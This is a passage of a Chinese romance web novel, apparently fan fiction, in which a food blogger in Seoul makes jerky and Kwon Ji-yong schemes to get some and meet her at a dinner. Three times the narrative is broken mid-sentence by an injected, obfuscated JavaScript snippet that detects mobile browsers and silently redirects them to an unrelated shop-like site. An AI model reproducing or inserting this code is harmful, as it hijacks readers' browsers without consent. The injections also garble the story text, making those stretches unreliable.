戴上头盔,骑上她的小电驴出发了。 这辆小电驴是她来首尔后买的,白色的车身,车筐里放着一个星黛露形状的置物袋。她给它取名叫“小白”,每天骑着它穿梭在公寓和学校之间。 首尔的秋天很美,路边的银杏树开始变黄,金欢骑着小白,沿着一条没什么人的小路慢慢开,耳机里播放着随机歌单。 她路过一家藏在巷子里的小店,门口排着队,全是韩国本地的大爷大妈,凑过去一看是一家刀削面店。 老板是个中国人,操着一口山东口音的韩语在招呼客人。 金欢排了二十分钟的队,终于坐进去了。她点了一碗牛肉刀削面,加了一份卤蛋和一份小菜。 金欢吃了一口,眼睛亮了,然后掏出手机拍了几张照片,录了一小段视频,对着镜头小声说:“朋友们,这家店绝了。面条是手工削的。汤头是牛骨熬的,牛肉炖了至少三个小时,你们要是来首尔,一定要来吃。” 吃完之后,她骑着小白在附近转了一圈,银杏树下,她穿着白色卫衣和牛仔裤,阳光打在她脸上,明艳又生动。 她发了条ins,配文是:“首尔的秋天,不用滤镜也好看。” 照片里,她站在金黄色的银杏树下,笑得眼睛弯成月牙形。 5211018秒赞。 金欢把家人寄得快递箱子搬回家,初一和五一好奇地围过来,五一已经兴奋地开始摇尾巴了,它知道有箱子就意味着有好东西。 金欢打开箱子,里面整整齐齐地码着各种东西。 零食区:恰恰瓜子、卫龙辣条、旺旺仙贝、康师傅红烧牛肉面……(谁懂,仙贝脑袋) ...... 小咸菜区:榨菜、萝卜干、酸豆角、雪里蕻、糖蒜...... 每一样都用真空袋封好了。 周日,金欢决定大干一场,制作肉干肉脯。 她提前去超市买了牛里脊、猪里脊,还有鸡胸肉和鸭胸肉。初一和五一蹲在厨房门口,看着她在灶台前忙活,两双眼睛亮得像探照灯。 “朋友们,”她对着镜头认真地说,“今天我要做两件事。第一,复刻姥爷的牛肉干和猪肉脯。第二,给初一和五一做宠物零食肉干。” “牛肉要选里脊,筋膜少,肉质嫩。猪肉也要里脊,肥肉不能太多。鸡胸肉和鸭胸肉要选新鲜的,给毛孩子吃的,不能有任何添加剂。” 她把牛里脊和猪里脊先处理了,切肉、调腌料、腌制,动作行云流水。 “比例是多少?我没量过,全凭手感。做饭这件事,没有标准答案,好吃就行。” 腌上肉之后,她开始处理宠物零食。 “宠物零食不能加任何调料,盐、糖、酱油都不行。初一和五一的肠胃很敏感,人吃的东西它们不能吃。所以这个肉干就是纯肉,别的什么都不加。” “温度不能太高,一百度左右,慢慢烤,把水分烤干,但不要烤焦。这样烤出来的肉干是脆的,毛孩子咬得动,而且可以放很久。” 烤箱工作的时候,整个公寓都弥漫着肉香。 初一从冰箱顶上跳下来,蹲在烤箱前面,一动不动地盯着烤箱的玻璃门。五一更夸张,整只狗趴在烤箱前面,鼻子贴在门缝上,拼命地嗅。 “你们两个,”金欢无语地看着它们,“能不能有点出息?还没烤好呢,急什么?” 初一回头看了她一眼,眼神里写着你闭嘴”、。 金欢:“……行,你是老大。” 宠物零食先出炉了。 金欢把烤盘拿出来,放在架子上晾凉。鸡肉干和鸭肉干烤成了浅浅的金黄色,薄薄脆脆的,闻起来是纯粹的肉香。 金欢拿起一个鸡肉干,掰成两半,一半递给五一,一半递给初一。 五一接过去,咯吱咯吱地嚼了,尾巴摇得像直升机的螺旋桨,吃完之后立刻蹲坐好,眼巴巴地看着金欢,整只狗散发着“再来一块再来一块再来一块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484923|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的渴望。 初一叼着那半片鸡肉干,跳到冰箱顶上,慢条斯理地啃。它的吃相优雅多了,但速度一点都不慢。 吃完之后,初一舔了舔爪子,低头看着金欢,叫了一声。 “喵。” 那声喵叫,金欢翻译过来就是:“再来。” “好了好了,别急,这些都是你们的。我做了好多呢,够你们吃一阵子的。” 她把宠物零食装进密封罐里,然后她继续做人类版本的肉干肉脯。 牛肉干出炉的时候,金欢捏了一块放进嘴里,嚼了嚼,眼睛亮了。 “朋友们,我成功了。这个味道,跟姥爷做的有八成像。” 她又嚼了两下,点了点头:“不,有九成像。就差那么一点点……姥爷的那个‘锅气’,我还没学到。但已经很接近了。姥爷,你看到了吗?你孙女没给你丢人。” 猪肉脯也出炉了。金欢把烤好的猪肉脯切成方块,原味的颜色是金红色的,表面亮晶晶的;麻辣味的颜色更深,辣椒和花椒的颗粒嵌在肉里,看着就很有食欲。 【五一吃鸡肉干的时候尾巴摇得我都担心它会起飞】 【金欢你是魔鬼吗?给猫狗做零食做得比给人吃的还认真】 【人类版本的肉干看起来也很好吃,但为什么我更想吃宠物版的?那个纯肉无添加的鸡肉干,听起来就很健康啊】 【金欢下次能不能多做点宠物零食,我想买来自己吃(不是)】 【五一蹲坐等零食的样子跟我家狗一模一样,但五一至少还能吃到,我家的只能看着我屏幕流口水】 【金欢你考虑出个宠物零食教程吗?我家毛孩子也想吃同款】 【楼上,她已经出了啊,这期视频就是教程,只不过她把步骤讲得很随意,你得自己记】 【我记了:鸡胸肉切片,一百度烤干。就这?就这!】 【对,就这。宠物零食本来就不需要花里胡哨,纯肉就是最好的】 【金欢的留学日常比我的人生精彩多了,我周末躺在床上是真的躺,她周末躺在床上是拍视频赚钱】 【楼上你扎心了】 金欢看着摆了一桌子的肉干肉脯,心想:这么多,我一个人也吃不完,不如分一些给朋友。 她拿了几个袋子,开始分装。 金欢把袋子装好,拍了张照片,配文:“家里寄来的+自己做的,给你分点,明天见面带过去。” 金希彻秒回:“啊啊啊啊啊金欢你是我亲妹妹!!!我正好想吃辣的了!!!” 李朱赫回了一个字:“好。” 朴智妍回了一长串表情包:“欢姐我爱你!!!” 金欢又单独给李朱赫发了条消息:“给初一和五一做了点鸡肉干鸭肉干,你要不要也尝尝?纯肉的,没加调料。” 李朱赫:“阿西……金欢,那是给猫狗吃的,你当我是动物啊。” 金欢:“但很好吃啊,我自己都偷吃了两片。真的,你试试。” 李朱赫:“……行吧。” 李朱赫拿到金欢给的袋子之后,回到家打开看了看,顺便尝了尝,确实好吃。 还有一小罐东西,贴着标签“宠物零食·鸡肉干·人类也可食用”。李朱赫犹豫了一下,拿起一片鸡肉干放进嘴里,嚼了嚼。 嗯,确实挺好吃的。纯肉的香味,脆脆的,越嚼越香。 他把袋子收好,放在厨房的柜子里,打算慢慢吃。 10. 争抢 第二天下午,李朱赫的手机响了。 “你在家吗?”权至龙的声音听起来有点急。 “在,”李朱赫靠在沙发上,“怎么了?” “我过去一趟。” “干什么?” “拿东西。” 李朱赫顿了一下,他还没跟权至龙提过金欢给了他一袋子吃的这件事。 “拿什么东西?” “你从金欢那里拿到的那些吃的。” 李朱赫挑了挑眉。 “你怎么知道金欢给了我吃的?” “我看到她发的ins了,”权至龙说,“她拍了分装的袋子。其中一个袋子旁边放着你的车钥匙。我认识你的钥匙扣。” 李朱赫低头看了看茶几上的车钥匙。钥匙扣是一个黑色的皮革小牌子,上面印着他的名字缩写,确实入镜了。 “……你眼神真好,”李朱赫说,“所以呢?” “所以我现在过去。你给我分一半。” “凭什么?” “因为我也想吃。” “你自己去买。” “韩国买不到。” “那就饿着。” 电话那头沉默了两秒。 “洙赫啊,”权至龙的声音忽然变得很认真,带着一点撒娇的尾音,“你给我一点嘛。我又不是全要,你给我一半就行。三分之一也行嘛。” 李朱赫认识权至龙很多年了,知道这个人一旦用这种语气说话,就是铁了心要得到。如果不给,他会一直缠着你,烦着你,直到你崩溃给他为止。 “你过来吧,”李朱赫叹了口气,“但我不保证给你多少。” 二十分钟后,权至龙出现在李朱赫家门口。 他穿着一件黑色的卫衣,帽子没戴,头发有点乱,看起来是直接从工作室赶过来的。 进门之后,他的目光直接扫向厨房。 “在柜子里,”李朱赫指了指。 权至龙大步走过去,打开柜子,看到金欢给的那个袋子,眼睛亮了。 他拿起那罐原味猪肉脯,打开闻了闻,表情瞬间变得满足。 “就是这个味道,”他说,“金欢视频里做的那种。” 李朱赫靠在厨房门框上,双手抱胸,看着权至龙。 “你果然一直在看她的视频。” 权至龙没理他,又拿起那罐蜜汁肉干,打开尝了一块。 “好吃。”他的眼睛弯了起来。 “那是我的,”李朱赫说。 “现在是我的了,”权至龙理直气壮,把那罐肉干放进自己带来的袋子里,他来的时候带了一个空袋子,显然是有备而来。 李朱赫走过去,伸手要抢。 “还给我。” 权至龙把袋子护在身后,身体往后躲。 “你说给我一半的。” “我说的是不保证给你多少,没答应给一半。” “那你现在答应。” “我不答应。” 两个人就这么在李朱赫的厨房里对峙着。一个伸手要抢,一个护着袋子往后退,画面十分滑稽,一个三岁,一个五岁,不能再多了。 李朱赫身高比权至龙高一些,手臂也长,伸手一捞就够到了袋子。权至龙急了,整个人扑上去,双手抱住袋子,身体弓成一个虾米状,把袋子护在怀里。 “你幼不幼稚?”李朱赫无语。 “不幼稚,”权至龙的声音从袋子上方传来,闷闷的,“这是金欢做的。你又不缺吃的,你分我一点怎么了。” “这是金欢给我的。她给我的时候没说让我分给别人。” “我不是别人,”权至龙抬起头,眼神认真,“我是……对她很感兴趣的人。” 李朱赫看着他那双亮晶晶的眼睛,沉默了两秒,然后笑了。 “终于承认了......行吧,”他松开手,“你拿三分之一。不能再多了。” 权至龙立刻开始分装。他打开每一个罐子,精准地倒出一半......哦不,倒出了一半多。 “你说三分之一的,”李朱赫看着他往自己袋子里倒了快三分之二,伸手拦住,“你倒多了。” “我没倒多,这个罐子看起来大,实际上没多少。” “我长着眼睛呢。” 两个人又僵持了几秒,最后李朱赫妥协了,权至龙的眼神实在太渴望了,像一只看到肉骨头的大型犬,眼睛亮得让人不忍心拒绝。 “拿走吧拿走吧,”李朱赫挥手,“全拿走算了。” 权至龙愣了一下:“真的?” “假的。你把那罐蜜汁肉干给我留一半,那个我爱吃。” 权至龙看了看那罐蜜汁肉干,又看了看李朱赫,犹豫了一下,倒出来几块放回李朱赫的罐子里。 “就这些?” “就这些。” 李朱赫看着那几块肉干,又看了看权至龙那个装得鼓鼓囊囊的袋子,深吸了一口气。 “权至龙,你以后要是真跟金欢在一起了,你得请我吃一年的饭。” “为什么?” “因为我是你的红娘。” “你不是,”权至龙把袋子系好,拎起来,“你是受害者。自愿的那种。” 李朱赫笑了,笑得无奈又好笑。 权至龙走到门口,回头看了他一眼。 “谢谢啊,洙赫。” “滚。” 权至龙滚了。 然后抢到零食第二天,权至龙把那袋零食带到了YG,准备放到工作室慢慢吃。 谁知道经纪人让他去一趟录音室,他就随手把袋子放在了休息区的桌上。 等他回来的时候,袋子已经空了。 不,没有全空。袋子里还剩下一块原味猪肉脯的碎屑和几颗瓜子壳。 权至龙站在休息区门口,看着那个被翻得乱七八糟的袋子,沉默了五秒钟。 然后他转身,看见永培、CL、Teddy等人正坐在沙发上,每个人手里都拿着东西。 永培拿着一块麻辣猪肉脯,嚼得津津有味。 CL优雅地剥着一颗大白兔奶糖。 Teddy抱着一罐蜜汁肉干,已经吃了一半。 “你们……”权至龙的声音有点发抖,“你们吃了我的东西。” 永培抬头看了他一眼:“你的?这不是洙赫的吗?我看到袋子上贴着洙赫的名字。” “那是洙赫给我的!”权至龙急了,“这是人家自己做的!你们知道吗?就是那个中国博主!她做的肉干!我好不容易从洙赫那里抢来的!” 大声说:“这个好好吃。志龙哥,你从哪里买的?我也想去买。” “买不到!”权至龙的声音拔高了,“这是人家自己做的!限量版!全球唯一!你们就这么给我吃光了?!” CL把大白兔奶糖咽下去,慢悠悠地说:“不是还有一块碎屑吗?你可以吃那个。” 权至龙低头看了看袋子里那块指甲盖大小的碎屑,又看了看CL那张无辜的脸。 “彩林呀,你变了,你以前不是这样的。” “我以前也没吃过这么好吃的肉干,”CL说,然后在权至龙眼皮底下伸手拿了一块,拿走了袋子里最后一块完整的肉干。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484924|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >权至龙伸手去抢,但CL的动作更快,直接把肉干塞进了嘴里,嚼了嚼,露出一个满意的表情。 “嗯,这个麻辣味的最好吃。” 权至龙的手僵在半空中。 永培笑着拍了拍他的肩膀:“至龙啊,好东西要分享嘛。你一个人吃独食多没意思。” “我没想分享!”权至龙的声音里带着委屈,“我就想一个人吃!这是金欢做的!我好不容易才从洙赫那里抢来的!你们知道我从洙赫手里抢东西有多难吗?!他比我高!手比我长!我差点没抢过!” 大声又拿起一块肉干:“那你怎么抢到的?” “……我求他的。” 现场安静了一秒。 然后永培笑了,连CL都弯了嘴角。 “你求他的?”永培笑得肩膀发抖,“权至龙,你为了零食求人?” “那不是零食!那是她做的!”权至龙重复着这句话,好像这是世上最有力的理由。 但他没有再说下去。 因为他看到大声又打开了一罐新的。 “这个是什么?鸡肉干?标签上写着‘宠物零食·人类也可食用’……” “那个别吃!”权至龙冲过去,“那是给猫狗做的!” 大声已经咬了一口,嚼了嚼,眼睛亮了:“这个也好吃!脆脆的!志龙哥,这个在哪里买?” 权至龙彻底放弃了。 他瘫坐在椅子上,看着桌上那个空空如也的袋子,表情像一只被抢走了鱼干的猫。 “我一口都没吃,”他喃喃地说,“我带过来,一口都没来得及吃。” CL看了他一眼,从口袋里掏出两颗大白兔奶糖,放在他面前。 “给你留了两颗。奶糖我没吃完。” 权至龙看着那两颗奶糖,又看了看CL。 “你是好人,”他说,“但你还是抢了我的肉干。” “那肉干确实好吃,”CL说,语气理所当然,“下次她再做了,你多拿点。” “你怎么知道会有下次?” “你那个眼神,”CL说,“一看就不会只抢这一次。” 权至龙没有否认。 他把那两颗大白兔奶糖剥开一颗,放进嘴里。奶味在舌尖化开,甜甜的,香香的。 他想起金欢在视频里说过的话,大白兔奶糖是中国小孩的童年记忆,吃一颗就回到小时候。 他忽然觉得,好像确实是这样。 虽然他没有中国童年,但这一刻,他觉得自己像一个抢到了糖果却被人分走的小孩子。 他拿起手机,给李朱赫发了条消息。 “洙赫啊,金欢下次再做肉干,你能不能帮我多要一份?我不抢你的了,你帮我要就行。” 李朱赫秒回:“你不是有她社媒吗?你自己要。” 权至龙看着这条消息,打了几个字又删掉,最后发了一句:“我跟她还不认识呢。” 李朱赫回了一个省略号,然后说:“你抢我东西的时候胆子不是挺大的吗?怎么到了正事上就怂了?” 权至龙没有回复。他把手机扣在桌上,靠回椅背,盯着天花板。 旁边,永培、大声和CL还在分食那袋零食,偶尔传来“这个好吃”“给我留一块”“你别抢”的声音。 权至龙听着这些声音,嘴角慢慢弯了一下。 算了。 下次,他一定要想办法,第一个拿到。 而且要藏好。 绝对不能再被这群强盗发现了。 只是……要怎么样才能第一个拿到呢?他总不能直接去找她吧?他们又不认识。 11. 初次见面(1) 零食被抢之后,权至龙消沉了整整三天。 太阳进来送咖啡的时候,差点以为他失恋了。 “你到底怎么了?”太阳把咖啡放在桌上,看着权至龙那张生无可恋的脸。 “没什么。” 太阳想了想问:“是因为那些吃的?” 权至龙不说话了。 太阳叹了口气,拍了拍他的肩膀走了。走到门口回头看了一眼,权至龙已经从沙发上坐起来了,正盯着手机屏幕发呆。屏幕上是什么,太阳不用看也知道。 金欢刚发了一条新动态,照片里是一盘刚出锅的红烧排骨,配文是:“今天心情好,做个排骨犒劳自己。初一吃了两口猫粮表示不满意,五一已经蹲在厨房门口等了二十分钟了。” 权至龙盯着那张照片看了很久,他把照片放大,又缩小,再放大。 然后他把手机扣在胸口,盯着天花板,长长地叹了一口气。 他想见她。 但他总不能直接发私信说你好我是权至龙我想见你了吧,那也太奇怪了。而且她说过他不是她的菜。 所以他需要一个理由。 然后权至龙发了一条:“洙赫啊,最近忙吗?” 李朱赫秒回:“你又想干什么?” 权至龙:“……我就关心一下你。” 李朱赫:“你上次关心我的时候,借走了我一件限量版外套再也没还。所以,你又想干什么?” 权至龙看着这条消息,嘴角抽了一下,他想了想,换了个策略。 “你上次说的那个中国朋友,金欢,她来首尔有一阵子了吧?适应得怎么样?” 消息发出去之后,他盯着屏幕,心跳莫名快了几拍。 李朱赫那边显示“正在输入中......”,然后又消失,然后又显示,反复了三次。 最后回了一句:“你想见她?” 权至龙的耳朵瞬间红了,犹豫了两秒,打出一行字:“我就是问问。她一个人在国外,你作为朋友要多照顾照顾人家。” 李朱赫:“所以呢?” 权至龙:“所以你可以组织个聚会什么的,叫上她,让她多认识几个人。你不是说她朋友不多吗?” 李朱赫那边又沉默了几秒。 然后发来一条语音,权至龙点开,“权至龙,你是想让我组织聚会,然后你顺理成章地出现,对吧?” 权至龙的脸也红了:“我没有这么说。但如果你组织的话,我可以去。我最近刚好有空。” 李朱赫:“你什么时候没空?” 权至龙:“……” 李朱赫又发了一条:“行吧。我本来也打算请金欢吃个饭,她来首尔之后还没正式聚过。正好让她多认识几个朋友。” 权至龙的心跳瞬间加速了,但他不能让李朱赫感觉出来他有多激动,所以只回了一个字:“好。” 然后他又加了一句:“要不要我帮忙订餐厅?我知道有几家店环境不错,适合聚会。” 李朱赫:“你连餐厅都想好了?” 权至龙:“……随便想的。” 李朱赫没有再拆穿他,只回了一句:“行,你来订。时间在这周六晚上。我把地址发给金欢。” 权至龙放下手机,在工作室里转了两圈,“Yes,拿下......”然后拿起手机又放下,又拿起。 他给李朱赫发了最后一条消息:“对了,你接她的时候要不要我一起去?你一个人开车不方便吧?” 李朱赫:“我开车很方便。而且你不是有行程吗?” 权至龙:“取消了。” 李朱赫:“什么行程?” 权至龙:“不重要。” 李朱赫沉默了整整十秒钟,然后发了三个字:“不要脸。” 权至龙笑了,脸面有未来女朋友香吗。 周六。 金欢难得地对着镜子纠结了很久。 她翻了翻,拿出一条蓝色的连衣裙,买了之后一直挂在衣柜里,一直没有场合穿。今天好像……是个场合。 “行了,”她对着镜子说,“不是T恤牛仔裤,已经算隆重了。” 然后她又犹豫了一下,从梳妆台上拿起一支口红,涂了一下。 涂完之后她看着镜子里的自己,觉得有点陌生。眼角那颗红痣在唇色的映衬下更明显了,整张脸明艳了几分。 “金欢,你今天是去见朋友,不是去相亲,”她对着镜子说,“你涂什么口红?搞那么隆重做什么。” 金欢正准备出门的时候,看到桌上放着一袋刚做好的麻辣猪肉脯,昨天晚上闲着没事烤的,本来是打算当零食吃的。 她想了想,拿了一些用油纸包好,塞进包里。 “第一次见面带点吃的,总不会错,”她自言自语,“中国礼仪之邦的传统不能丢。” 金欢敲了敲车窗,车门从里面打开了。 金欢上车,然后从包里掏出那包油纸包的猪肉脯,递过去。 “给你的,麻辣味的,尝尝。” “又是肉干?” “什么叫‘又是’?你上次不是吃得挺开心的吗?” 李朱赫没有反驳,把肉干放在中控台上,发动了车。 车开了几分钟,金欢发现路线不太对。 “这不是去餐厅的路吧?” “先去接个人,”李朱赫说,“顺路。” “谁啊?” 李朱赫没有直接回答,而是说了一句让金欢摸不着头脑的话:“你待会儿就知道了。他有点……烦人,但你不用理他。” 金欢:“???” 车开了大概十分钟,停在了一栋大楼的门口。金欢透过车窗看了一眼,没认出这是什么地方。 几分钟后,大楼的门开了,一个人从里面快步走出来。 金欢一开始没看清那个人的脸,只看到一身黑,帽子压得很低,露出一截线条分明的下颌。 “久等了,”他说,声音带着一点沙哑,然后抬起头。 金欢转过头去看他,两个人对视了一秒。 那个人的眼睛很亮,琥珀色瞳孔,橘色的头发,像一团小火苗。 金欢认出了他......权至龙。 她的大脑空白了零点几秒,然后迅速恢复运转。 “你好,”她说,语气很是平静。 权至龙看着她,目光从她的脸扫到她身上的裙子,又扫到她手里的包,最后回到她眼角那颗红痣上。 “你好,”他说,声音比平时低一点,带着一点刻意的磁性,“你是洙赫的朋友?” “嗯。金欢。” “权至龙。” 金欢点了点头,表示知道了,然后转过身去,从包里掏出一片猪肉脯,咬了一口。 她需要吃点东西来消化这个信息。 权至龙靠在座椅上,目光落在金欢的后脑勺上。头发散着披在肩上,露出一截白皙的后颈。 他忽然开口:“你在吃什么?” 金欢转过头,嘴里还嚼着肉干,含糊不清地说:“猪肉脯,麻辣味的。” 权至龙的眼睛亮了一下。 “好吃吗?” “还行,”金欢说,然后从包里掏出另一片,递过去,“你要不要尝尝?” 他接过那片肉干,手指碰到金欢的手指时,两个人的皮肤短暂地接触了一下。 金欢没在意,权至龙在心里细细回味了一下。 权至龙咬了一口,麻辣味在舌尖炸开,越嚼越香。 跟他从李朱赫那里抢到的味道一模一样。不对,更好吃。可能是因为这是她亲手递给他的。 Ps:已经初显恋爱脑 “好吃,”他说,语气真诚得不像是在夸零食,像是在夸一个人。 金欢转过头看了他一眼:“你喜欢辣的?” “喜欢。” “那你运气好,我今天带了不少。” 她又从包里掏出两片,递给他。 权至龙接过肉干,嘴角的弧度藏不住了。 餐厅是权至龙订的,一家藏在巷子里的韩定食店。 金欢走进去的时候,忍不住多看了两眼。 “这地方不错,”她说。 权至龙走在前面,听到这话,嘴角微微翘了一下,但没有回头。 金欢进去的时候,正想随便找个位置坐下,权至龙已经不动声色地走到了靠墙的那一侧,然后微微侧身,做了一个“请”的手势。 “这边暖和一点,”他说,语气随意得像在陈述一个事实。 金欢看了他一眼,没多想,坐到了他指的位子上。那个位置靠里,不会正对着门口吹风,而且离窗户远,确实暖和。 金希彻到的时候,金欢正在翻菜单。 “金欢!”金希彻推门进来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484925|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿着一件荧光绿的外套,整个人亮得像一个移动的路灯。 金欢抬头,笑了:“你这个外套,要晃瞎我眼了。” “好看吧?”金希彻得意地转了圈,然后看到权至龙已经坐在金欢旁边了,脚步顿了一下。 权至龙和金希彻,说起来认识很多年了——都是二代团,但关系嘛,说不上好。两个团的风格不一样,粉丝之间没少掐过,私下里也没怎么单独吃过饭。 今天这个局,金希彻是冲着金欢来的,没想到权至龙也在。 “至龙啊,”金希彻就打了个招呼,语气不冷不热,“你也来了。” “嗯,”权至龙点了点头,同样不冷不热,“洙赫组的局。” 金欢没有注意到这个微妙的氛围,她正在跟金希彻讨论菜单。 “你有没有吃过这家的酱蟹?”金希彻问,在金欢另一边坐下来,故意跟权至龙隔开了一个身位。 “没有,但我吃过别家的。酱蟹这个东西,做得好是天堂,做不好是地狱。” “那你觉得什么样的算好?” 金欢想了想:“蟹黄要饱满,酱油不能太咸,腌制的时间要刚好。好的酱蟹,应该是咸鲜平衡,蟹黄像果冻一样,吸一口——嗯。”她做了一个吸的动作,表情陶醉。 金希彻被她逗笑了,正想接话,权至龙已经先开了口。 “这家的酱蟹,”权至龙的声音从旁边传来,“你试试看。” 话音刚落,他伸手把桌上的酱蟹碟轻轻转了一下,把蟹黄最饱满的那一块转到金欢面前。 金欢低头看了一眼面前那块酱蟹,又抬头看了一眼权至龙。 权至龙已经在看菜单了,表情没有任何异常,好像刚才那个动作只是顺手。 金欢没有说什么,夹起那块酱蟹,放进嘴里。 “好吃,”她点头,“这个蟹黄,果冻级别的。” 金希彻也尝了一口,赞同地点头。 菜陆续上来了,金欢正准备夹一块辣炖排骨,筷子伸到半空中,发现排骨离她有点远,她得探着身子才能够到。 她的手还没伸到,权至龙已经把那盘排骨端了起来,轻轻放在她面前。 “这个排骨不错,你可以尝尝。” 金欢看了他一眼,这一次,她的目光多停了一秒。 但权至龙没有看她,他正低头给自己倒水,倒完之后,顺手把水壶放在了金欢够得到的位置。 然后他自然地拿起水杯,喝了一口,跟旁边的李朱赫聊起了工作。 金希彻坐在旁边,把这一切看在眼里。 金欢正在吃海鲜葱饼,吃得很认真,全程没有任何多余的表情。好像权至龙刚才做的那些事情,她一件都没有注意到。 但金希彻注意到一个细节——金欢的耳朵尖,有一点点红。 很淡,淡到几乎看不出来。但金希彻坐得近,他看到了。 他忽然觉得很有意思。这两个人,一个在拼命“不经意”地献殷勤,一个在拼命“不经意”地装没看见。 又过了一阵,大酱汤上来了。汤碗放在桌子中央,热气腾腾。 金欢正准备拿勺子,权至龙已经先一步拿起了汤勺。 他盛了一碗汤,放在金欢面前。 “小心烫,”他说,然后才给自己盛了一碗。 全程没有看权至龙的眼睛,语气自然:“谢谢。” 金希彻实在忍不住了,轻声问金欢:“你认识他很久了?” “不认识,”金欢说,夹了一筷子炒杂菜,“今天第一次见。” “至龙啊,”金希彻放下筷子,“你跟金欢之前见过?” 权至龙抬起头,表情无辜:“没有,今天第一次。” “那你对她挺照顾的,”金希彻说,语气里带着一点试探。 权至龙顿了一下,耳朵以肉眼可见的速度红了,但他的表情没有任何变化。 “顺手,”他说,“来者是客。” 金希彻“哦”了一声,拖长了音。看着权至龙通红的耳尖,又看了一眼金欢淡定得像什么都没发生的脸,忽然明白了什么。 这两个人,装得倒是都很认真。 金希彻端起酒杯,对着李朱赫的方向举了举。 李朱赫回了他一个意味深长的眼神。 两个人无声地碰了一下杯,同时在心里想同一件事:今晚的戏,比综艺好看。 12. 初次见面(2) 饭吃到一半,金欢去了一趟洗手间。她走之后,包间里的气氛瞬间变了。 金希彻放下筷子,转头看着权至龙,笑得意味深长。 “至龙啊。” “嗯?” “你今天怎么有空来吃饭?你最近不是在忙巡演吗,忙得连睡觉的时间都没有了吗?” 权至龙面不改色:“再忙也要吃饭。” “哦......那你怎么偏偏选今天来?。” “今天刚好有空。” 金希彻慢悠悠地来了一句:“而且今天刚好有金欢吧。” 权至龙的手指微微动了一下,但他没有接话。 金希彻又转向李朱赫:“洙赫啊,至龙什么时候对第一次见面的人这么上心了?你跟他认识这么多年,他给你到过水吗?。” 李朱赫面无表情地夹菜:“完全没有啊,作为好朋友,我可从来没享受过至龙的贴心服务呢。” 权至龙的耳朵已经红透了,拿起水杯喝了一口水,掩饰自己。 金希彻靠回椅背,看着权至龙通红的耳朵和故作淡定的表情,心里忽然有一种复杂的情绪。 说实话,他对权至龙没什么好感。两个团是直接竞争对手,粉丝打得不可开交,他们虽然没有私人恩怨,但也没有交情的必要。如果不是金欢,他可能这辈子都不会跟权至龙坐在一张桌子上吃饭。 但现在他看着权至龙这个样子,忽然觉得,这个人好像也没那么讨厌。 “行吧,”金希彻端起酒杯,“至龙啊,我跟你不熟,以前也没什么交集。但金欢是我的朋友,她一个人来首尔,人生地不熟的,我希望她身边的人都靠谱。” 他顿了顿,看着权至龙的眼睛。 “你们在聊什么?”金欢回来了问,目光扫了一圈。 “聊你,”金希彻说。 “聊我什么?” “聊你的肉干,”金希彻面不改色地编,“至龙说你做的肉干很好吃。” 金欢看了权至龙一眼。 权至龙的表情没有任何异常,甚至还对她笑了一下。 “是好吃,”权至龙说,“比市面上卖的都好吃。” 金欢点了点头:“那当然,这可是独一无二的,市面上都买不到的。”语气里带着一点小得意,眼睛弯了弯。 权至龙看着她的表情,嘴角不自觉地跟着弯了起来。 金欢拿起筷子,继续吃饭。吃到一半,她的筷子在炒杂菜和海鲜葱饼之间犹豫了一下,最后选了炒杂菜。 权至龙注意到了,什么也没说,只是默默地把海鲜葱饼的盘子往金欢的方向推了推。 金欢的筷子顿了一下,没有抬头看权至龙,而是夹了一块海鲜葱饼,放进嘴里,嚼了嚼。 “这个葱饼不错,”她对着空气说了一句,没有对任何人。 权至龙低下头,嘴角的弧度又大了一点。 金希彻在旁边看着这一幕,觉得自己在看一场没有台词的默剧。 金欢吃完那块海鲜葱饼,放下筷子,端起水杯喝了一口水。 “至龙xi。” 权至龙抬头看她。 “你喜欢吃什么菜?中餐的话。” 权至龙愣了一下,然后回答:“红烧类的。排骨、肉、鱼,都喜欢吃。” “红烧鱼你做吗?”金欢问。 “我不会做,”权至龙诚实地说,“但我可以学。” 金欢点了点头,没有接话。 她继续吃菜。 权至龙看着她的侧脸,心跳忽然快了几拍。 她问他喜欢吃什么。 这算不算……在主动找话题? 还是只是客气? 散场的时候,已经是晚上十点多了。 金欢喝了两杯烧酒,脸上泛着淡淡的红晕,但神智清醒。她站在餐厅门口,夜风吹过来,她缩了缩脖子。 权至龙站在她旁边,注意到她缩脖子的动作,不动声色地往她前面站了半步,挡住了风口。 “你怎么回去?”金希彻问。 “洙赫送我。” 李朱赫的车停在门口,他按下车窗:“上车。” 金欢正准备拉开车门,权至龙忽然开口了。 “洙赫啊,你也送我吧。我今天没开车。” 李朱赫看了他一眼:“你司机不来接你吗 ?” “司机今天休息。” 李朱赫小小翻了个白眼,他知道权至龙的司机全年无休。 车先开到金欢的公寓楼下。 金欢解开安全带,回头看了一眼后座的权至龙。 “今天谢谢你的餐厅,”她说,“很好吃。” 